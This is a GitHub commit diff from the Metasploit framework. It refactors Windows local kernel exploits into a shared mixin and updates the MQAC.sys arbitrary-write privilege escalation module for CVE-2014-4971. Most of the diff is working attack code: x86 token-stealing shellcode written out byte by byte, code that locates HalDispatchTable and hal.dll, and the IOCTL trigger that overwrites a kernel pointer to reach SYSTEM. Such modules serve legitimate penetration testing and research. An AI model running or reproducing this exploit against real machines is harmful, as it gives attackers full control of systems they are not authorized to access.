Skip to content

Commit 351b687

Browse files
committed
Land rapid7#3612, Windows Local Kernel exploits refactor
2 parents af3ca19 + b277f58 commit 351b687

File tree

9 files changed

+395
-481
lines changed

9 files changed

+395
-481
lines changed
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::Local::WindowsKernel
5+
include Msf::PostMixin
6+
include Msf::Post::Windows::Error
7+
8+
#
9+
# Find the address of nt!HalDispatchTable.
10+
#
11+
# @return [Integer] The address of nt!HalDispatchTable.
12+
# @return [nil] If the address could not be found.
13+
#
14+
def find_haldispatchtable
15+
kernel_address, kernel_name = find_sys_base(nil)
16+
if kernel_address.nil? || kernel_name.nil?
17+
print_error("Failed to find the address of the Windows kernel")
18+
return nil
19+
end
20+
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
21+
22+
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
23+
if h_kernel['return'] == 0
24+
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
25+
return nil
26+
end
27+
h_kernel = h_kernel['return']
28+
29+
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
30+
if hal_dispatch_table['return'] == 0
31+
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
32+
return nil
33+
end
34+
hal_dispatch_table = hal_dispatch_table['return']
35+
36+
hal_dispatch_table -= h_kernel
37+
hal_dispatch_table += kernel_address
38+
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
39+
hal_dispatch_table
40+
end
41+
42+
#
43+
# Find the load address for a device driver on the session.
44+
#
45+
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
46+
# if this value is nil.
47+
# @return [Array] An array containing the base address and the located drivers name.
48+
# @return [nil] If the name specified could not be found.
49+
#
50+
def find_sys_base(drvname)
51+
if session.railgun.util.pointer_size == 8
52+
ptr = '<Q'
53+
else
54+
ptr = 'V'
55+
end
56+
57+
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
58+
unless results['return']
59+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
60+
return nil
61+
end
62+
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
63+
unless results['return']
64+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
65+
return nil
66+
end
67+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
68+
69+
addresses.each do |address|
70+
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
71+
if results['return'] == 0
72+
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
73+
return nil
74+
end
75+
current_drvname = results['lpBaseName'][0,results['return']]
76+
if drvname.nil?
77+
if current_drvname.downcase.include?('krnl')
78+
return address, current_drvname
79+
end
80+
elsif drvname == current_drvname
81+
return address, current_drvname
82+
end
83+
end
84+
end
85+
86+
#
87+
# Open a device on a meterpreter session with a call to CreateFileA and return
88+
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
89+
# are specified as nil.
90+
#
91+
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
92+
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
93+
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
94+
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
95+
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
96+
# @return [Integer] The device handle.
97+
# @return [nil] If the call to CreateFileA failed.
98+
#
99+
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
100+
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
101+
if handle['return'] == INVALID_HANDLE_VALUE
102+
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
103+
return nil
104+
end
105+
handle['return']
106+
end
107+
108+
#
109+
# Generate token stealing shellcode suitable for use when overwriting the
110+
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
111+
# registers.
112+
#
113+
# @param target [Hash] The target information containing the offsets to _KPROCESS,
114+
# _TOKEN, _UPID and _APLINKS.
115+
# @param backup_token [Integer] An optional location to write a copy of the
116+
# original token to so it can be restored later.
117+
# @param arch [String] The architecture to return shellcode for. If this is nil,
118+
# the arch will be guessed from the target and then module information.
119+
# @return [String] The token stealing shellcode.
120+
# @raise [ArgumentError] If the arch is incompatible.
121+
#
122+
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
123+
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
124+
if arch.nil? && module_info['Arch']
125+
arch = module_info['Arch']
126+
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
127+
end
128+
if arch.nil?
129+
print_error('Can not determine the target architecture')
130+
fail ArgumentError, 'Invalid arch'
131+
end
132+
133+
tokenstealing = ''
134+
case arch
135+
when ARCH_X86
136+
tokenstealing << "\x52" # push edx # Save edx on the stack
137+
tokenstealing << "\x53" # push ebx # Save ebx on the stack
138+
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
139+
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
140+
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
141+
tokenstealing << "\x8b\xc8" # mov ecx, eax
142+
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
143+
unless backup_token.nil?
144+
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
145+
end
146+
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
147+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
148+
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
149+
tokenstealing << "\x75\xe8" # jne 0000101e ======================
150+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151+
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
152+
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
153+
tokenstealing << "\x5b" # pop ebx # Restores ebx
154+
tokenstealing << "\x5a" # pop edx # Restores edx
155+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
156+
else
157+
# if this is reached the issue most likely exists in the exploit module
158+
print_error('Unsupported arch for token stealing shellcode')
159+
fail ArgumentError, 'Invalid arch'
160+
end
161+
tokenstealing
162+
end
163+
end
164+
end

lib/msf/core/post/windows/error.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
25272527
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
25282528
HASH_NOT_SUPPORTED = 0x3BC4
25292529
HASH_NOT_PRESENT = 0x3BC5
2530-
2530+
INVALID_HANDLE_VALUE = 0xffffffff
25312531
end
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# -*- coding: binary -*-
2+
module Rex
3+
module Post
4+
module Meterpreter
5+
module Extensions
6+
module Stdapi
7+
module Railgun
8+
module Def
9+
10+
class Def_psapi
11+
12+
def self.create_dll(dll_path = 'psapi')
13+
dll = DLL.new(dll_path, ApiConstants.manager)
14+
15+
dll.add_function('EnumDeviceDrivers', 'BOOL',[
16+
%w(PBLOB lpImageBase out),
17+
%w(DWORD cb in),
18+
%w(PDWORD lpcbNeeded out)
19+
])
20+
21+
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
22+
%w(LPVOID ImageBase in),
23+
%w(PBLOB lpBaseName out),
24+
%w(DWORD nSize in)
25+
])
26+
27+
return dll
28+
end
29+
30+
end
31+
32+
end; end; end; end; end; end; end

lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,8 @@ class Railgun
7878
'crypt32',
7979
'wlanapi',
8080
'wldap32',
81-
'version'
81+
'version',
82+
'psapi'
8283
].freeze
8384

8485
##

modules/exploits/windows/local/mqac_write.rb

Lines changed: 25 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,16 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/local/windows_kernel'
78
require 'rex'
89

910
class Metasploit3 < Msf::Exploit::Local
1011
Rank = AverageRanking
1112

13+
include Msf::Exploit::Local::WindowsKernel
1214
include Msf::Post::Windows::Priv
1315
include Msf::Post::Windows::Process
1416

15-
INVALID_HANDLE_VALUE = 0xFFFFFFFF
16-
1717
def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
@@ -41,6 +41,7 @@ def initialize(info = {})
4141
[
4242
['Windows XP SP3',
4343
{
44+
'HaliQuerySystemInfo' => 0x16bba,
4445
'_KPROCESS' => "\x44",
4546
'_TOKEN' => "\xc8",
4647
'_UPID' => "\x84",
@@ -52,41 +53,13 @@ def initialize(info = {})
5253
[
5354
%w(CVE 2014-4971),
5455
%w(EDB 34112),
55-
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
56+
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
5657
],
5758
'DisclosureDate' => 'Jul 22 2014',
5859
'DefaultTarget' => 0
5960
))
6061
end
6162

62-
def find_sys_base(drvname)
63-
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
64-
lp_image_base = %w(PBLOB lpImageBase out)
65-
cb = %w(DWORD cb in)
66-
lpcb_needed = %w(PDWORD lpcbNeeded out)
67-
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
68-
[lp_image_base, cb, lpcb_needed])
69-
image_base = %w(LPVOID ImageBase in)
70-
lp_base_name = %w(PBLOB lpBaseName out)
71-
n_size = %w(DWORD nSize in)
72-
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
73-
[image_base, lp_base_name, n_size])
74-
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
75-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
76-
77-
addresses.each do |address|
78-
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
79-
current_drvname = results['lpBaseName'][0..results['return'] - 1]
80-
if drvname.nil?
81-
if current_drvname.downcase.include?('krnl')
82-
return [address, current_drvname]
83-
end
84-
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
85-
return [address, current_drvname]
86-
end
87-
end
88-
end
89-
9063
# Function borrowed from smart_hashdump
9164
def get_system_proc
9265
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@@ -106,20 +79,9 @@ def get_system_proc
10679
end
10780
end
10881

109-
def open_device
110-
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
111-
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
112-
handle = handle['return']
113-
if handle == 0
114-
print_error('Failed to open the \\\\.\\MQAC device')
115-
return nil
116-
end
117-
handle
118-
end
119-
12082
def check
121-
handle = open_device
122-
if handle.nil? || handle == INVALID_HANDLE_VALUE
83+
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
84+
if handle.nil?
12385
print_error('MSMQ installation not found')
12486
return Exploit::CheckCode::Safe
12587
end
@@ -155,12 +117,9 @@ def exploit
155117
# results in a BSOD and so we should not let that happen.
156118
return unless check == Exploit::CheckCode::Appears
157119

158-
kernel_info = find_sys_base(nil)
159120
base_addr = 0xffff
160-
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
161-
162-
handle = open_device
163-
return if handle.nil? || handle == INVALID_HANDLE_VALUE
121+
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
122+
return if handle.nil?
164123

165124
this_proc = session.sys.process.open
166125
unless this_proc.memory.writable?(base_addr)
@@ -175,41 +134,29 @@ def exploit
175134
return
176135
end
177136

178-
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
179-
hKernel = hKernel['return']
180-
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
181-
'HalDispatchTable')
182-
halDispatchTable = halDispatchTable['return']
183-
halDispatchTable -= hKernel
184-
halDispatchTable += kernel_info[0]
185-
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
186-
187-
tokenstealing = "\x52" # push edx # Save edx on the stack
188-
tokenstealing << "\x53" # push ebx # Save ebx on the stack
189-
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
190-
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
191-
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
192-
tokenstealing << "\x8b\xc8" # mov ecx, eax
193-
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
194-
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
195-
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
196-
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
197-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
198-
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
199-
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
200-
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
201-
tokenstealing << "\x5b" # pop ebx # Restores ebx
202-
tokenstealing << "\x5a" # pop edx # Restores edx
203-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
204-
205-
shellcode = make_nops(0x200) + tokenstealing
137+
haldispatchtable = find_haldispatchtable
138+
return if haldispatchtable.nil?
139+
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
140+
141+
vprint_status('Getting the hal.dll base address...')
142+
hal_info = find_sys_base('hal.dll')
143+
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
144+
hal_base = hal_info[0]
145+
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
146+
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
147+
148+
restore_ptrs = "\x31\xc0" # xor eax, eax
149+
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
150+
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
151+
152+
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
206153
this_proc.memory.write(0x1, shellcode)
207154
this_proc.close
208155

209156
print_status('Triggering vulnerable IOCTL')
210157
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
211158
1, 0x258,
212-
halDispatchTable + 0x4, 0)
159+
haldispatchtable + 4, 0)
213160
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
214161

215162
unless is_system?

0 commit comments

Comments
 (0)